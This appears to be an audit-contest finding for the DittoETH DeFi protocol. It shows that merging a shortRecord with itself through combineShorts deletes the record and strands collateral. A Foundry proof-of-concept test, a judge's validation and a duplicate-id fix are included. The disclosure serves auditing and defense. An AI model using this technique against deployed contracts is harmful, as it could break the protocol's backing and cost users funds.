DittoETH
Ditto
DeFiFoundryOracle
55,000 USDC
View results
Previous Next
Submission Details
Severity: low
Valid

ShortRecords can be deleted by merging them into itself

cosine

Summary

By combining a shortrecord with itself, it will be deleted. This removes the collateral of assets from the system without the possibility of liquidation to make things right again.

Vulnerability Details

The system allows to combine multiple shortRecords into one. By sending the same shortRecord id twice to this function, so basically trying to combine it with itself, it will delete the shortRecord. This should happen, as it would remove collateral from assets without the possibility to liquidate the shortRecord and bring the collateral back to the system. It would bring the system into a weird state, where the total amount of assets created and total amount of collateral in the system is not equal to the sum of the shortRecords. This breaks the economics of the protocol and can therefore lead to a loss of user funds.

The devs of the project tried to cover this possibility in the tests, but made a mistake while doing so by passing wrong ids to the function. This led to the wrong assumption that the function reverts when the same id is given twice, as in reality the function reverted, because the ids did not exist.

The following POC below, can be executed in the test folder of the project.

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.8.21;
​
import {stdError} from "forge-std/StdError.sol";
import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
​
import {Constants} from "contracts/libraries/Constants.sol";
import {LibOrders} from "contracts/libraries/LibOrders.sol";
import {Errors} from "contracts/libraries/Errors.sol";
import {MTypes, STypes, O} from "contracts/libraries/DataTypes.sol";
​
import {OBFixture} from "test/utils/OBFixture.sol";
// import {console} from "contracts/libraries/console.sol";
​
import "forge-std/console.sol";
​
contract SecurityReviewTest is OBFixture {
uint16 private lastShortId;
​
using U256 for uint256;
using U88 for uint88;
using U80 for uint80;
​
function setUp() public override {
super.setUp();
}
​
function test_delete_short_by_merging_it_into_itself() public {
// create short
fundLimitBidOpt(1 ether, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(1 ether, DEFAULT_AMOUNT, sender);
​
STypes.ShortRecord[] memory shorts = diamond.getShortRecords(asset, sender);
assertEq(shorts.length, 1);
​
uint8[] memory shortIds = new uint8[](2);
shortIds[0] = shorts[0].id;
shortIds[1] = shorts[0].id;
​
vm.prank(sender);
diamond.combineShorts(asset, shortIds);
​
STypes.ShortRecord[] memory shortsAfterMerge = diamond.getShortRecords(asset, sender);
assertEq(shortsAfterMerge.length, 0);
}
}

Impact

Assets are no longer backed by any collateral, and there is no way to bring the collateral back. This would lead to a drop of the asset price and could potentially lead to a shutdown of the market where a lot of users could loss their funds. Also the shorter loses all funds in the shortRecord.

Tools Used

Manual Review

Recommendations

Revert if the same id appears multiple times in the given ids array.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-534

cosine Submitter
almost 2 years ago
0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-534

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.